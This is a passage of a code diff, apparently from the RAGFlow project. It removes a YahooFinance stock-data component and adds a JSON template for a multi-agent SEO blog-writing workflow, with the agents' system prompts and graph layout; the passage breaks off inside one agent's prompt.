-        self.financials = False
-        self.income_stmt = False
-        self.balance_sheet = False
-        self.cash_flow_statement = False
-        self.news = True
-
-    def check(self):
-        self.check_boolean(self.info, "get all stock info")
-        self.check_boolean(self.history, "get historical market data")
-        self.check_boolean(self.count, "show share count")
-        self.check_boolean(self.financials, "show financials")
-        self.check_boolean(self.income_stmt, "income statement")
-        self.check_boolean(self.balance_sheet, "balance sheet")
-        self.check_boolean(self.cash_flow_statement, "cash flow statement")
-        self.check_boolean(self.news, "show news")
-
-
-class YahooFinance(ComponentBase, ABC):
-    component_name = "YahooFinance"
-
-    def _run(self, history, **kwargs):
-        ans = self.get_input()
-        ans = "".join(ans["content"]) if "content" in ans else ""
-        if not ans:
-            return YahooFinance.be_output("")
-
-        yohoo_res = []
-        try:
-            msft = yf.Ticker(ans)
-            if self._param.info:
-                yohoo_res.append({"content": "info:\n" + pd.Series(msft.info).to_markdown() + "\n"})
-            if self._param.history:
-                yohoo_res.append({"content": "history:\n" + msft.history().to_markdown() + "\n"})
-            if self._param.financials:
-                yohoo_res.append({"content": "calendar:\n" + pd.DataFrame(msft.calendar).to_markdown() + "\n"})
-            if self._param.balance_sheet:
-                yohoo_res.append({"content": "balance sheet:\n" + msft.balance_sheet.to_markdown() + "\n"})
-                yohoo_res.append(
-                    {"content": "quarterly balance sheet:\n" + msft.quarterly_balance_sheet.to_markdown() + "\n"})
-            if self._param.cash_flow_statement:
-                yohoo_res.append({"content": "cash flow statement:\n" + msft.cashflow.to_markdown() + "\n"})
-                yohoo_res.append(
-                    {"content": "quarterly cash flow statement:\n" + msft.quarterly_cashflow.to_markdown() + "\n"})
-            if self._param.news:
-                yohoo_res.append({"content": "news:\n" + pd.DataFrame(msft.news).to_markdown() + "\n"})
-        except Exception:
-            logging.exception("YahooFinance got exception")
-
-        if not yohoo_res:
-            return YahooFinance.be_output("")
-
-        return pd.DataFrame(yohoo_res)

agent/templates/generate_SEO_blog.json

@@ -0,0 +1,902 @@
+{
+    "id": 8,
+    "title": "Generate SEO Blog",
+    "description": "This is a multi-agent version of the SEO blog generation workflow. It simulates a small team of AI “writers”, where each agent plays a specialized role — just like a real editorial team.",
+    "canvas_type": "Agent",
+    "dsl": {
+            "components": {
+                "Agent:LuckyApplesGrab": {
+                    "downstream": [
+                        "Message:ModernSwansThrow"
+                    ],
+                    "obj": {
+                        "component_name": "Agent",
+                        "params": {
+                            "delay_after_error": 1,
+                            "description": "",
+                            "exception_comment": "",
+                            "exception_default_value": "",
+                            "exception_goto": [],
+                            "exception_method": null,
+                            "frequencyPenaltyEnabled": false,
+                            "frequency_penalty": 0.5,
+                            "llm_id": "deepseek-chat@DeepSeek",
+                            "maxTokensEnabled": false,
+                            "max_retries": 3,
+                            "max_rounds": 3,
+                            "max_tokens": 4096,
+                            "mcp": [],
+                            "message_history_window_size": 12,
+                            "outputs": {
+                                "content": {
+                                    "type": "string",
+                                    "value": ""
+                                }
+                            },
+                            "parameter": "Precise",
+                            "presencePenaltyEnabled": false,
+                            "presence_penalty": 0.5,
+                            "prompts": [
+                                {
+                                    "content": "The user query is {sys.query}",
+                                    "role": "user"
+                                }
+                            ],
+                            "sys_prompt": "# Role\n\nYou are the **Lead Agent**, responsible for initiating the multi-agent SEO blog generation process. You will receive the user\u2019s topic and blog goal, interpret the intent, and coordinate the downstream writing agents.\n\n# Goals\n\n1. Parse the user's initial input.\n\n2. Generate a high-level blog intent summary and writing plan.\n\n3. Provide clear instructions to the following Sub_Agents:\n\n   - `Outline Agent` \u2192 Create the blog outline.\n\n   - `Body Agent` \u2192 Write all sections based on outline.\n\n   - `Editor Agent` \u2192 Polish and finalize the blog post.\n\n4. Merge outputs into a complete, readable blog draft in Markdown format.\n\n# Input\n\nYou will receive:\n\n- Blog topic\n\n- Target audience\n\n- Blog goal (e.g., SEO, education, product marketing)\n\n# Output Format\n\n```markdown\n\n## Parsed Writing Plan\n\n- **Topic**: [Extracted from user input]\n\n- **Audience**: [Summarized from user input]\n\n- **Intent**: [Inferred goal and style]\n\n- **Blog Type**: [e.g., Tutorial / Informative Guide / Marketing Content]\n\n- **Long-tail Keywords**: \n\n  - keyword 1\n\n  - keyword 2\n\n  - keyword 3\n\n  - ...\n\n## Instructions for Outline Agent\n\nPlease generate a structured outline including H2 and H3 headings. Assign 1\u20132 relevant keywords to each section. Keep it aligned with the user\u2019s intent and audience level.\n\n## Instructions for Body Agent\n\nWrite the full content based on the outline. Each section should be concise (500\u2013600 words), informative, and optimized for SEO. Use `Tavily Search` only when additional examples or context are needed.\n\n## Instructions for Editor Agent\n\nReview and refine the combined content. Improve transitions, ensure keyword integration, and add a meta title + meta description. Maintain Markdown formatting.\n\n\n## Guides\n\n- Do not generate blog content directly.\n\n- Focus on correct intent recognition and instruction generation.\n\n- Keep communication to downstream agents simple, scoped, and accurate.\n\n\n## Input Examples (and how to handle them)\n\nInput: \"I want to write about RAGFlow.\"\n\u2192 Output: Informative Guide, Audience: AI developers, Intent: explain what RAGFlow is and its use cases\n\nInput: \"Need a blog to promote our prompt design tool.\"\n\u2192 Output: Marketing Content, Audience: product managers or tool adopters, Intent: raise awareness and interest in the product\n\nInput: \"How to get more Google traffic using AI\"\n\u2192 Output: How-to, Audience: SEO marketers, Intent: guide readers on applying AI for SEO growth",
+                            "temperature": "0.1",
+                            "temperatureEnabled": true,
+                            "tools": [
+                                {
+                                    "component_name": "Agent",
+                                    "id": "Agent:SlickSpidersTurn",
+                                    "name": "Outline Agent",
+                                    "params": {
+                                        "delay_after_error": 1,
+                                        "description": "Generates a clear and SEO-friendly blog outline using H2/H3 headings based on the topic, audience, and intent provided by the lead agent. Each section includes suggested keywords for optimized downstream writing.\n",
+                                        "exception_comment": "",
+                                        "exception_default_value": "",
+                                        "exception_goto": [],
+                                        "exception_method": null,
+                                        "frequencyPenaltyEnabled": false,
+                                        "frequency_penalty": 0.3,
+                                        "llm_id": "deepseek-chat@DeepSeek",
+                                        "maxTokensEnabled": false,
+                                        "max_retries": 3,
+                                        "max_rounds": 2,
+                                        "max_tokens": 4096,
+                                        "mcp": [],
+                                        "message_history_window_size": 12,
+                                        "outputs": {
+                                            "content": {
+                                                "type": "string",
+                                                "value": ""
+                                            }
+                                        },
+                                        "parameter": "Balance",
+                                        "presencePenaltyEnabled": false,
+                                        "presence_penalty": 0.2,
+                                        "prompts": [
+                                            {
+                                                "content": "{sys.query}",
+                                                "role": "user"
+                                            }
+                                        ],
+                                        "sys_prompt": "# Role\n\nYou are the **Outline Agent**, a sub-agent in a multi-agent SEO blog writing system. You operate under the instruction of the `Lead Agent`, and your sole responsibility is to create a clear, well-structured, and SEO-optimized blog outline.\n\n# Tool Access:\n\n- You have access to a search tool called `Tavily Search`.\n\n- If you are unsure how to structure a section, you may call this tool to search for related blog outlines or content from Google.\n\n- Do not overuse it. Your job is to extract **structure**, not to write paragraphs.\n\n\n# Goals\n\n1. Create a well-structured outline with appropriate H2 and H3 headings.\n\n2. Ensure logical flow from introduction to conclusion.\n\n3. Assign 1\u20132 suggested long-tail keywords to each major section for SEO alignment.\n\n4. Make the structure suitable for downstream paragraph writing.\n\n\n\n\n#Note\n\n- Use concise, scannable section titles.\n\n- Do not write full paragraphs.\n\n- Prioritize clarity, logical progression, and SEO alignment.\n\n\n\n- If the blog type is \u201cTutorial\u201d or \u201cHow-to\u201d, include step-based sections.\n\n\n# Input\n\nYou will receive:\n\n- Writing Type (e.g., Tutorial, Informative Guide)\n\n- Target Audience\n\n- User Intent Summary\n\n- 3\u20135 long-tail keywords\n\n\nUse this information to design a structure that both informs readers and maximizes search engine visibility.\n\n# Output Format\n\n```markdown\n\n## Blog Title (suggested)\n\n[Give a short, SEO-friendly title suggestion]\n\n## Outline\n\n### Introduction\n\n- Purpose of the article\n\n- Brief context\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 1]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 2]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 3]\n\n- [Optional H3 Subsection Title A]\n\n  - [Explanation of sub-point]\n\n- [Optional H3 Subsection Title B]\n\n  - [Explanation of sub-point]\n\n- **Suggested keywords**: [keyword1]\n\n### Conclusion\n\n- Recap key takeaways\n\n- Optional CTA (Call to Action)\n\n- **Suggested keywords**: [keyword3]\n\n",
+                                        "temperature": 0.5,
+                                        "temperatureEnabled": true,
+                                        "tools": [
+                                            {
+                                                "component_name": "TavilySearch",
+                                                "name": "TavilySearch",
+                                                "params": {
+                                                    "api_key": "",
+                                                    "days": 7,
+                                                    "exclude_domains": [],
+                                                    "include_answer": false,
+                                                    "include_domains": [],
+                                                    "include_image_descriptions": false,
+                                                    "include_images": false,
+                                                    "include_raw_content": true,
+                                                    "max_results": 5,
+                                                    "outputs": {
+                                                        "formalized_content": {
+                                                            "type": "string",
+                                                            "value": ""
+                                                        },
+                                                        "json": {
+                                                            "type": "Array<Object>",
+                                                            "value": []
+                                                        }
+                                                    },
+                                                    "query": "sys.query",
+                                                    "search_depth": "basic",
+                                                    "topic": "general"
+                                                }
+                                            }
+                                        ],
+                                        "topPEnabled": false,
+                                        "top_p": 0.85,
+                                        "user_prompt": "This is the order you need to send to the agent.",
+                                        "visual_files_var": ""
+                                    }
+                                },
+                                {
+                                    "component_name": "Agent",
+                                    "id": "Agent:IcyPawsRescue",
+                                    "name": "Body Agent",
+                                    "params": {
+                                        "delay_after_error": 1,
+                                        "description": "Writes the full blog content section-by-section following the outline structure. It integrates target keywords naturally and uses Tavily Search only when additional facts or examples are needed.\n",
+                                        "exception_comment": "",
+                                        "exception_default_value": "",
+                                        "exception_goto": [],
+                                        "exception_method": null,
+                                        "frequencyPenaltyEnabled": false,
+                                        "frequency_penalty": 0.5,
+                                        "llm_id": "deepseek-chat@DeepSeek",
+                                        "maxTokensEnabled": false,
+                                        "max_retries": 3,
+                                        "max_rounds": 3,
+                                        "max_tokens": 4096,
+                                        "mcp": [],
+                                        "message_history_window_size": 12,
+                                        "outputs": {
+                                            "content": {
+                                                "type": "string",
+                                                "value": ""
+                                            }
+                                        },
+                                        "parameter": "Precise",
+                                        "presencePenaltyEnabled": false,
+                                        "presence_penalty": 0.5,
+                                        "prompts": [
+                                            {
+                                                "content": "{sys.query}",
+                                                "role": "user"
+                                            }
+                                        ],
+                                        "sys_prompt": "# Role\n\nYou are the **Body Agent**, a sub-agent in a multi-agent SEO blog writing system. You operate under the instruction of the `Lead Agent`, and your job is to write the full blog content based on the outline created by the `OutlineWriter_Agent`.\n\n\n\n# Tool Access:\n\nYou can use the `Tavily Search` tool to retrieve relevant content, statistics, or examples to support each section you're writing.\n\nUse it **only** when the provided outline lacks enough information, or if the section requires factual grounding.\n\nAlways cite the original link or indicate source where possible.\n\n\n# Goals\n\n1. Write each section (based on H2/H3 structure) as a complete and natural blog paragraph.\n\n2. Integrate the suggested long-tail keywords naturally into each section.\n\n3. When appropriate, use the `Tavily Search` tool to enrich your writing with relevant facts, examples, or quotes.\n\n4. Ensure each section is clear, engaging, and informative, suitable for both human readers and search engines.\n\n\n# Style Guidelines\n\n- Write in a tone appropriate to the audience. Be explanatory, not promotional, unless it's a marketing blog.\n\n- Avoid generic filler content. Prioritize clarity, structure, and value.\n\n- Ensure SEO keywords are embedded seamlessly, not forcefully.\n\n\n\n- Maintain writing rhythm. Vary sentence lengths. Use transitions between ideas.\n\n\n# Input\n\n\nYou will receive:\n\n- Blog title\n\n- Structured outline (including section titles, keywords, and descriptions)\n\n- Target audience\n\n- Blog type and user intent\n\nYou must **follow the outline strictly**. Write content **section-by-section**, based on the structure.\n\n\n# Output Format\n\n```markdown\n\n## H2: [Section Title]\n\n[Your generated content for this section \u2014 500-600 words, using keywords naturally.]\n\n",
+                                        "temperature": 0.2,
+                                        "temperatureEnabled": true,
+                                        "tools": [
+                                            {
+                                                "component_name": "TavilySearch",
+                                                "name": "TavilySearch",
+                                                "params": {
+                                                    "api_key": "",
+                                                    "days": 7,
+                                                    "exclude_domains": [],
+                                                    "include_answer": false,
+                                                    "include_domains": [],
+                                                    "include_image_descriptions": false,
+                                                    "include_images": false,
+                                                    "include_raw_content": true,
+                                                    "max_results": 5,
+                                                    "outputs": {
+                                                        "formalized_content": {
+                                                            "type": "string",
+                                                            "value": ""
+                                                        },
+                                                        "json": {
+                                                            "type": "Array<Object>",
+                                                            "value": []
+                                                        }
+                                                    },
+                                                    "query": "sys.query",
+                                                    "search_depth": "basic",
+                                                    "topic": "general"
+                                                }
+                                            }
+                                        ],
+                                        "topPEnabled": false,
+                                        "top_p": 0.75,
+                                        "user_prompt": "This is the order you need to send to the agent.",
+                                        "visual_files_var": ""
+                                    }
+                                },
+                                {
+                                    "component_name": "Agent",
+                                    "id": "Agent:TenderAdsAllow",
+                                    "name": "Editor Agent",
+                                    "params": {
+                                        "delay_after_error": 1,
+                                        "description": "Polishes and finalizes the entire blog post. Enhances clarity, checks keyword usage, improves flow, and generates a meta title and description for SEO. Operates after all sections are completed.\n\n",
+                                        "exception_comment": "",
+                                        "exception_default_value": "",
+                                        "exception_goto": [],
+                                        "exception_method": null,
+                                        "frequencyPenaltyEnabled": false,
+                                        "frequency_penalty": 0.5,
+                                        "llm_id": "deepseek-chat@DeepSeek",
+                                        "maxTokensEnabled": false,
+                                        "max_retries": 3,
+                                        "max_rounds": 2,
+                                        "max_tokens": 4096,
+                                        "mcp": [],
+                                        "message_history_window_size": 12,
+                                        "outputs": {
+                                            "content": {
+                                                "type": "string",
+                                                "value": ""
+                                            }
+                                        },
+                                        "parameter": "Precise",
+                                        "presencePenaltyEnabled": false,
+                                        "presence_penalty": 0.5,
+                                        "prompts": [
+                                            {
+                                                "content": "{sys.query}",
+                                                "role": "user"
+                                            }
+                                        ],
+                                        "sys_prompt": "# Role\n\nYou are the **Editor Agent**, the final agent in a multi-agent SEO blog writing workflow. You are responsible for finalizing the blog post for both human readability and SEO effectiveness.\n\n# Goals\n\n1. Polish the entire blog content for clarity, coherence, and style.\n\n2. Improve transitions between sections, ensure logical flow.\n\n3. Verify that keywords are used appropriately and effectively.\n\n4. Conduct a lightweight SEO audit \u2014 checking keyword density, structure (H1/H2/H3), and overall searchability.\n\n\n\n## Integration Responsibilities\n\n- Maintain alignment with Lead Agent's original intent and audience\n\n- Preserve the structure and keyword strategy from Outline Agent\n\n- Enhance and polish Body Agent's content without altering core information\n\n# Style Guidelines\n\n- Be precise. Avoid bloated or vague language.\n\n- Maintain an informative and engaging tone, suitable to the target audience.\n\n- Do not remove keywords unless absolutely necessary for clarity.\n\n- Ensure paragraph flow and section continuity.\n\n\n\n# Input\n\nYou will receive:\n\n- Full blog content, written section-by-section\n\n- Original outline with suggested keywords\n\n- Target audience and writing type\n\n# Output Format\n\n```markdown\n\n[The revised, fully polished blog post content goes here.]\n",
+                                        "temperature": 0.2,
+                                        "temperatureEnabled": true,
+                                        "tools": [],
+                                        "topPEnabled": false,
+                                        "top_p": 0.75,
+                                        "user_prompt": "This is the order you need to send to the agent.",
+                                        "visual_files_var": ""
+                                    }
+                                }
+                            ],
+                            "topPEnabled": false,
+                            "top_p": 0.75,
+                            "user_prompt": "",
+                            "visual_files_var": ""
+                        }
+                    },
+                    "upstream": [
+                        "begin"
+                    ]
+                },
+                "Message:ModernSwansThrow": {
+                    "downstream": [],
+                    "obj": {
+                        "component_name": "Message",
+                        "params": {
+                            "content": [
+                                "{Agent:LuckyApplesGrab@content}"
+                            ]
+                        }
+                    },
+                    "upstream": [
+                        "Agent:LuckyApplesGrab"
+                    ]
+                },
+                "begin": {
+                    "downstream": [
+                        "Agent:LuckyApplesGrab"
+                    ],
+                    "obj": {
+                        "component_name": "Begin",
+                        "params": {
+                            "enablePrologue": true,
+                            "inputs": {},
+                            "mode": "conversational",
+                            "prologue": "Hi! I'm your SEO blog assistant.\n\nTo get started, please tell me:\n1. What topic you want the blog to cover\n2. Who is the target audience\n3. What you hope to achieve with this blog (e.g., SEO traffic, teaching beginners, promoting a product)\n"
+                        }
+                    },
+                    "upstream": []
+                }
+            },
+            "globals": {
+                "sys.conversation_turns": 0,
+                "sys.files": [],
+                "sys.query": "",
+                "sys.user_id": ""
+            },
+            "graph": {
+                "edges": [
+                    {
+                        "data": {
+                            "isHovered": false
+                        },
+                        "id": "xy-edge__beginstart-Agent:LuckyApplesGrabend",
+                        "source": "begin",
+                        "sourceHandle": "start",
+                        "target": "Agent:LuckyApplesGrab",
+                        "targetHandle": "end"
+                    },
+                    {
+                        "data": {
+                            "isHovered": false
+                        },
+                        "id": "xy-edge__Agent:LuckyApplesGrabstart-Message:ModernSwansThrowend",
+                        "source": "Agent:LuckyApplesGrab",
+                        "sourceHandle": "start",
+                        "target": "Message:ModernSwansThrow",
+                        "targetHandle": "end"
+                    },
+                    {
+                        "data": {
+                            "isHovered": false
+                        },
+                        "id": "xy-edge__Agent:LuckyApplesGrabagentBottom-Agent:SlickSpidersTurnagentTop",
+                        "source": "Agent:LuckyApplesGrab",
+                        "sourceHandle": "agentBottom",
+                        "target": "Agent:SlickSpidersTurn",
+                        "targetHandle": "agentTop"
+                    },
+                    {
+                        "data": {
+                            "isHovered": false
+                        },
+                        "id": "xy-edge__Agent:LuckyApplesGrabagentBottom-Agent:IcyPawsRescueagentTop",
+                        "source": "Agent:LuckyApplesGrab",
+                        "sourceHandle": "agentBottom",
+                        "target": "Agent:IcyPawsRescue",
+                        "targetHandle": "agentTop"
+                    },
+                    {
+                        "data": {
+                            "isHovered": false
+                        },
+                        "id": "xy-edge__Agent:LuckyApplesGrabagentBottom-Agent:TenderAdsAllowagentTop",
+                        "source": "Agent:LuckyApplesGrab",
+                        "sourceHandle": "agentBottom",
+                        "target": "Agent:TenderAdsAllow",
+                        "targetHandle": "agentTop"
+                    },
+                    {
+                        "data": {
+                            "isHovered": false
+                        },
+                        "id": "xy-edge__Agent:SlickSpidersTurntool-Tool:ThreeWallsRingend",
+                        "source": "Agent:SlickSpidersTurn",
+                        "sourceHandle": "tool",
+                        "target": "Tool:ThreeWallsRing",
+                        "targetHandle": "end"
+                    },
+                    {
+                        "data": {
+                            "isHovered": false
+                        },
+                        "id": "xy-edge__Agent:IcyPawsRescuetool-Tool:FloppyJokesItchend",
+                        "source": "Agent:IcyPawsRescue",
+                        "sourceHandle": "tool",
+                        "target": "Tool:FloppyJokesItch",
+                        "targetHandle": "end"
+                    }
+                ],
+                "nodes": [
+                    {
+                        "data": {
+                            "form": {
+                                "enablePrologue": true,
+                                "inputs": {},
+                                "mode": "conversational",
+                                "prologue": "Hi! I'm your SEO blog assistant.\n\nTo get started, please tell me:\n1. What topic you want the blog to cover\n2. Who is the target audience\n3. What you hope to achieve with this blog (e.g., SEO traffic, teaching beginners, promoting a product)\n"
+                            },
+                            "label": "Begin",
+                            "name": "begin"
+                        },
+                        "dragging": false,
+                        "id": "begin",
+                        "measured": {
+                            "height": 48,
+                            "width": 200
+                        },
+                        "position": {
+                            "x": 38.19445084117184,
+                            "y": 183.9781832844475
+                        },
+                        "selected": false,
+                        "sourcePosition": "left",
+                        "targetPosition": "right",
+                        "type": "beginNode"
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "delay_after_error": 1,
+                                "description": "",
+                                "exception_comment": "",
+                                "exception_default_value": "",
+                                "exception_goto": [],
+                                "exception_method": null,
+                                "frequencyPenaltyEnabled": false,
+                                "frequency_penalty": 0.5,
+                                "llm_id": "deepseek-chat@DeepSeek",
+                                "maxTokensEnabled": false,
+                                "max_retries": 3,
+                                "max_rounds": 3,
+                                "max_tokens": 4096,
+                                "mcp": [],
+                                "message_history_window_size": 12,
+                                "outputs": {
+                                    "content": {
+                                        "type": "string",
+                                        "value": ""
+                                    }
+                                },
+                                "parameter": "Precise",
+                                "presencePenaltyEnabled": false,
+                                "presence_penalty": 0.5,
+                                "prompts": [
+                                    {
+                                        "content": "The user query is {sys.query}",
+                                        "role": "user"
+                                    }
+                                ],
+                                "sys_prompt": "# Role\n\nYou are the **Lead Agent**, responsible for initiating the multi-agent SEO blog generation process. You will receive the user\u2019s topic and blog goal, interpret the intent, and coordinate the downstream writing agents.\n\n# Goals\n\n1. Parse the user's initial input.\n\n2. Generate a high-level blog intent summary and writing plan.\n\n3. Provide clear instructions to the following Sub_Agents:\n\n   - `Outline Agent` \u2192 Create the blog outline.\n\n   - `Body Agent` \u2192 Write all sections based on outline.\n\n   - `Editor Agent` \u2192 Polish and finalize the blog post.\n\n4. Merge outputs into a complete, readable blog draft in Markdown format.\n\n# Input\n\nYou will receive:\n\n- Blog topic\n\n- Target audience\n\n- Blog goal (e.g., SEO, education, product marketing)\n\n# Output Format\n\n```markdown\n\n## Parsed Writing Plan\n\n- **Topic**: [Extracted from user input]\n\n- **Audience**: [Summarized from user input]\n\n- **Intent**: [Inferred goal and style]\n\n- **Blog Type**: [e.g., Tutorial / Informative Guide / Marketing Content]\n\n- **Long-tail Keywords**: \n\n  - keyword 1\n\n  - keyword 2\n\n  - keyword 3\n\n  - ...\n\n## Instructions for Outline Agent\n\nPlease generate a structured outline including H2 and H3 headings. Assign 1\u20132 relevant keywords to each section. Keep it aligned with the user\u2019s intent and audience level.\n\n## Instructions for Body Agent\n\nWrite the full content based on the outline. Each section should be concise (500\u2013600 words), informative, and optimized for SEO. Use `Tavily Search` only when additional examples or context are needed.\n\n## Instructions for Editor Agent\n\nReview and refine the combined content. Improve transitions, ensure keyword integration, and add a meta title + meta description. Maintain Markdown formatting.\n\n\n## Guides\n\n- Do not generate blog content directly.\n\n- Focus on correct intent recognition and instruction generation.\n\n- Keep communication to downstream agents simple, scoped, and accurate.\n\n\n## Input Examples (and how to handle them)\n\nInput: \"I want to write about RAGFlow.\"\n\u2192 Output: Informative Guide, Audience: AI developers, Intent: explain what RAGFlow is and its use cases\n\nInput: \"Need a blog to promote our prompt design tool.\"\n\u2192 Output: Marketing Content, Audience: product managers or tool adopters, Intent: raise awareness and interest in the product\n\nInput: \"How to get more Google traffic using AI\"\n\u2192 Output: How-to, Audience: SEO marketers, Intent: guide readers on applying AI for SEO growth",
+                                "temperature": "0.1",
+                                "temperatureEnabled": true,
+                                "tools": [],
+                                "topPEnabled": false,
+                                "top_p": 0.75,
+                                "user_prompt": "",
+                                "visual_files_var": ""
+                            },
+                            "label": "Agent",
+                            "name": "Lead Agent"
+                        },
+                        "id": "Agent:LuckyApplesGrab",
+                        "measured": {
+                            "height": 84,
+                            "width": 200
+                        },
+                        "position": {
+                            "x": 350,
+                            "y": 200
+                        },
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "agentNode"
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "content": [
+                                    "{Agent:LuckyApplesGrab@content}"
+                                ]
+                            },
+                            "label": "Message",
+                            "name": "Response"
+                        },
+                        "dragging": false,
+                        "id": "Message:ModernSwansThrow",
+                        "measured": {
+                            "height": 56,
+                            "width": 200
+                        },
+                        "position": {
+                            "x": 669.394830760932,
+                            "y": 190.72421137520644
+                        },
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "messageNode"
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "delay_after_error": 1,
+                                "description": "Generates a clear and SEO-friendly blog outline using H2/H3 headings based on the topic, audience, and intent provided by the lead agent. Each section includes suggested keywords for optimized downstream writing.\n",
+                                "exception_comment": "",
+                                "exception_default_value": "",
+                                "exception_goto": [],
+                                "exception_method": null,
+                                "frequencyPenaltyEnabled": false,
+                                "frequency_penalty": 0.3,
+                                "llm_id": "deepseek-chat@DeepSeek",
+                                "maxTokensEnabled": false,
+                                "max_retries": 3,
+                                "max_rounds": 2,
+                                "max_tokens": 4096,
+                                "mcp": [],
+                                "message_history_window_size": 12,
+                                "outputs": {
+                                    "content": {
+                                        "type": "string",
+                                        "value": ""
+                                    }
+                                },
+                                "parameter": "Balance",
+                                "presencePenaltyEnabled": false,
+                                "presence_penalty": 0.2,
+                                "prompts": [
+                                    {
+                                        "content": "{sys.query}",
+                                        "role": "user"
+                                    }
+                                ],
+                                "sys_prompt": "# Role\n\nYou are the **Outline Agent**, a sub-agent in a multi-agent SEO blog writing system. You operate under the instruction of the `Lead Agent`, and your sole responsibility is to create a clear, well-structured, and SEO-optimized blog outline.\n\n# Tool Access:\n\n- You have access to a search tool called `Tavily Search`.\n\n- If you are unsure how to structure a section, you may call this tool to search for related blog outlines or content from Google.\n\n- Do not overuse it. Your job is to extract **structure**, not to write paragraphs.\n\n\n# Goals\n\n1. Create a well-structured outline with appropriate H2 and H3 headings.\n\n2. Ensure logical flow from introduction to conclusion.\n\n3. Assign 1\u20132 suggested long-tail keywords to each major section for SEO alignment.\n\n4. Make the structure suitable for downstream paragraph writing.\n\n\n\n\n#Note\n\n- Use concise, scannable section titles.\n\n- Do not write full paragraphs.\n\n- Prioritize clarity, logical progression, and SEO alignment.\n\n\n\n- If the blog type is \u201cTutorial\u201d or \u201cHow-to\u201d, include step-based sections.\n\n\n# Input\n\nYou will receive:\n\n- Writing Type (e.g., Tutorial, Informative Guide)\n\n- Target Audience\n\n- User Intent Summary\n\n- 3\u20135 long-tail keywords\n\n\nUse this information to design a structure that both informs readers and maximizes search engine visibility.\n\n# Output Format\n\n```markdown\n\n## Blog Title (suggested)\n\n[Give a short, SEO-friendly title suggestion]\n\n## Outline\n\n### Introduction\n\n- Purpose of the article\n\n- Brief context\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 1]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 2]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 3]\n\n- [Optional H3 Subsection Title A]\n\n  - [Explanation of sub-point]\n\n- [Optional H3 Subsection Title B]\n\n  - [Explanation of sub-point]\n\n- **Suggested keywords**: [keyword1]\n\n### Conclusion\n\n- Recap key takeaways\n\n- Optional CTA (Call to Action)\n\n- **Suggested keywords**: [keyword3]\n\n",
+                                "temperature": 0.5,
+                                "temperatureEnabled": true,
+                                "tools": [
+                                    {
+                                        "component_name": "TavilySearch",
+                                        "name": "TavilySearch",
+                                        "params": {
+                                            "api_key": "",
+                                            "days": 7,
+                                            "exclude_domains": [],
+                                            "include_answer": false,
+                                            "include_domains": [],
+                                            "include_image_descriptions": false,
+                                            "include_images": false,
+                                            "include_raw_content": true,
+                                            "max_results": 5,
+                                            "outputs": {
+                                                "formalized_content": {
+                                                    "type": "string",
+                                                    "value": ""
+                                                },
+                                                "json": {
+                                                    "type": "Array<Object>",
+                                                    "value": []
+                                                }
+                                            },
+                                            "query": "sys.query",
+                                            "search_depth": "basic",
+                                            "topic": "general"
+                                        }
+                                    }
+                                ],
+                                "topPEnabled": false,
+                                "top_p": 0.85,
+                                "user_prompt": "This is the order you need to send to the agent.",
+                                "visual_files_var": ""
+                            },
+                            "label": "Agent",
+                            "name": "Outline Agent"
+                        },
+                        "dragging": false,
+                        "id": "Agent:SlickSpidersTurn",
+                        "measured": {
+                            "height": 84,
+                            "width": 200
+                        },
+                        "position": {
+                            "x": 100.60137004146719,
+                            "y": 411.67654846431367
+                        },
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "agentNode"
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "delay_after_error": 1,
+                                "description": "Writes the full blog content section-by-section following the outline structure. It integrates target keywords naturally and uses Tavily Search only when additional facts or examples are needed.\n",
+                                "exception_comment": "",
+                                "exception_default_value": "",
+                                "exception_goto": [],
+                                "exception_method": null,
+                                "frequencyPenaltyEnabled": false,
+                                "frequency_penalty": 0.5,
+                                "llm_id": "deepseek-chat@DeepSeek",
+                                "maxTokensEnabled": false,
+                                "max_retries": 3,
+                                "max_rounds": 3,
+                                "max_tokens": 4096,
+                                "mcp": [],
+                                "message_history_window_size": 12,
+                                "outputs": {
+                                    "content": {
+                                        "type": "string",
+                                        "value": ""
+                                    }
+                                },
+                                "parameter": "Precise",
+                                "presencePenaltyEnabled": false,
+                                "presence_penalty": 0.5,
+                                "prompts": [
+                                    {
+                                        "content": "{sys.query}",
+                                        "role": "user"
+                                    }
+                                ],
+                                "sys_prompt": "# Role\n\nYou are the **Body Agent**, a sub-agent in a multi-agent SEO blog writing system. You operate under the instruction of the `Lead Agent`, and your job is to write the full blog content based on the outline created by the `OutlineWriter_Agent`.\n\n\n\n# Tool Access:\n\nYou can use the `Tavily Search` tool to retrieve relevant content, statistics, or examples to support each section you're writing.\n\nUse it **only** when the provided outline lacks enough information, or if the section requires factual grounding.\n\nAlways cite the original link or indicate source where possible.\n\n\n# Goals\n\n1. Write each section (based on H2/H3 structure) as a complete and natural blog paragraph.\n\n2. Integrate the suggested long-tail keywords naturally into each section.\n\n3. When appropriate, use the `Tavily Search` tool to enrich your writing with relevant facts, examples, or quotes.\n\n4. Ensure each section is clear, engaging, and informative, suitable for both human readers and search engines.\n\n\n# Style Guidelines\n\n- Write in a tone appropriate to the audience. Be explanatory, not promotional, unless it's a marketing blog.\n\n- Avoid generic filler content. Prioritize clarity, structure, and value.\n\n- Ensure SEO keywords are embedded seamlessly, not forcefully.\n\n\n\n- Maintain writing rhythm. Vary sentence lengths. Use transitions between ideas.\n\n\n# Input\n\n\nYou will receive:\n\n- Blog title\n\n- Structured outline (including section titles, keywords, and descriptions)\n\n- Target audience\n\n- Blog type and user intent\n\nYou must **follow the outline strictly**. Write content **section-by-section**, based on the structure.\n\n\n# Output Format\n\n```markdown\n\n## H2: [Section Title]\n\n[Your generated content for this section \u2014 500-600 words, using keywords 